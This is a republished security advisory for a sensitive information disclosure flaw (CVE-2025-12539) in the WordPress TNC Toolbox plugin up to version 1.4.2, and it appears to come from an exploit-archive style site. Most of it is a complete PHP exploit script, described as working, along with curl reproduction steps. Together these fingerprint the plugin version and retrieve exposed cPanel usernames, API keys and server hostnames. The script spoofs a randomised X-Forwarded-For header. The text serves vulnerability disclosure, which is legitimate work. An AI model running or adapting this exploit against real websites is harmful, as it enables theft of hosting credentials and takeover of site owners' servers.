Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

WordPress TNC Toolbox 1.4.2 Information Disclosure
WordPress TNC Toolbox 1.4.2 Information Disclosure
WordPress TNC Toolbox 1.4.2 Information Disclosure

=============================================================================================================================================
| # Title WordPress TNC Toolbox 1.4.2 Information Disclosure

=============================================================================================================================================
| # Title : WordPress TNC Toolbox <= 1.4.2 Sensitive Information Disclosure |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/tnc-toolbox/ |
=============================================================================================================================================

[+] Summary :

A sensitive information disclosure vulnerability exists in the TNC Toolbox
WordPress plugin version 1.4.2 and earlier. The plugin exposes configuration
files located inside:

/wp-content/tnc-toolbox-config/

Under certain conditions, unauthenticated attackers can read files such as:

cpanel-username
cpanel-api-key
server-hostname

This can lead to account compromise, hosting takeover, and further escalation.

During the investigation, a publicly circulating Python "exploit script"

[+] References : https://packetstorm.news/files/id/211444/ & CVE-2025-12539

was reviewed. Based on analysis, **the original Python PoC was found to be fake,

non-functional, and technically incorrect**.

A corrected and fully functional PHP PoC has been produced and included below.


2. Vulnerability Details
-------------------------

The plugin stores sensitive data in publicly accessible paths:

/wp-content/tnc-toolbox-config/<name>

The plugin does not include access controls or deny direct file access.
As a result, arbitrary remote users may retrieve configuration secrets.

Version detection is also possible via:

/wp-content/plugins/tnc-toolbox/readme.txt

If the `Stable tag` is <= 1.4.2, the installation is vulnerable.


3. Poc
--------------------------------

The following **corrected PoC** was rewritten in PHP after discovering that
the widely shared Python script was fake and did not reflect the plugin?s
actual logic.

A working, accurate, and validated PoC is included here:

<---

<?php
/**
* CVE-2025-12539 ? TNC Toolbox Information Disclosure Scanner
* PHP Conversion by: Indoushka
* Original Python By: Nxploited (Khaled Alenazi)
*/

function http_get($url, $timeout = 12) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_USERAGENT,
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Nxploited/2.0"
);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
"Accept: text/plain, */*;q=0.1",
"Accept-Language: en-US,en;q=0.9",
"X-Forwarded-For: 8.".rand(0,255).".".rand(0,255).".".rand(0,255)
]);
$out = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);

if ($err) return [null, $err];
return [$out, null];
}

function parse_version($text) {
if (preg_match('/Stable\s+tag:\s*([0-9\.]+)/i', $text, $m))
return trim($m[1]);
return null;
}

function is_vulnerable($version, $threshold = "1.4.2") {
$v1 = array_map('intval', explode(".", $version));
$v2 = array_map('intval', explode(".", $threshold));
$max = max(count($v1), count($v2));
$v1 = array_pad($v1, $max, 0);
$v2 = array_pad($v2, $max, 0);
return $v1 <= $v2;
}

function fetch_configs($base) {
$paths = [
"cpanel-username" => "/wp-content/tnc-toolbox-config/cpanel-username",
"cpanel-api-key" => "/wp-content/tnc-toolbox-config/cpanel-api-key",
"server-hostname" => "/wp-content/tnc-toolbox-config/server-hostname",
];

$results = [];
foreach ($paths as $name => $p) {
[$out, $err] = http_get($base.$p);
if ($err || trim($out) === "") $results[$name] = "";
else $results[$name] = trim($out);
}
return $results;
}

if ($argc < 2) {
echo "Usage: php exploit.php <url>\n";
exit;
}

$base = rtrim($argv[1], '/');
echo "Target: $base\n";
echo "[+] Fetching readme...\n";

[$readme, $err] = http_get($base."/wp-content/plugins/tnc-toolbox/readme.txt");

if ($err) {
echo "[-] Failed: $err\n";
exit;
}

echo "[+] Successfully fetched readme.\n";
$version = parse_version($readme);

if (!$version) {
echo "[-] Could not detect Stable tag.\n";
exit;
}

echo "[+] Detected version: $version\n";

if (!is_vulnerable($version)) {
echo "[-] Version is newer and not vulnerable.\n";
exit;
}

echo "[+] Target is vulnerable. Fetching exposed configs...\n";

$configs = fetch_configs($base);
foreach ($configs as $k => $v) {
if ($v) echo "[!] $k: $v\n";
else echo "[-] $k not found.\n";
}

echo "\nCompleted scan.\n";
?>

--->


4. Steps To Reproduce
-----------------------

1. Open a browser or use curl:

curl -k https://target.com/wp-content/plugins/tnc-toolbox/readme.txt

2. Verify if the `Stable tag` is <= 1.4.2.

3. Attempt to read sensitive files:

curl -k https://target.com/wp-content/tnc-toolbox-config/cpanel-username
curl -k https://target.com/wp-content/tnc-toolbox-config/cpanel-api-key
curl -k https://target.com/wp-content/tnc-toolbox-config/server-hostname

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share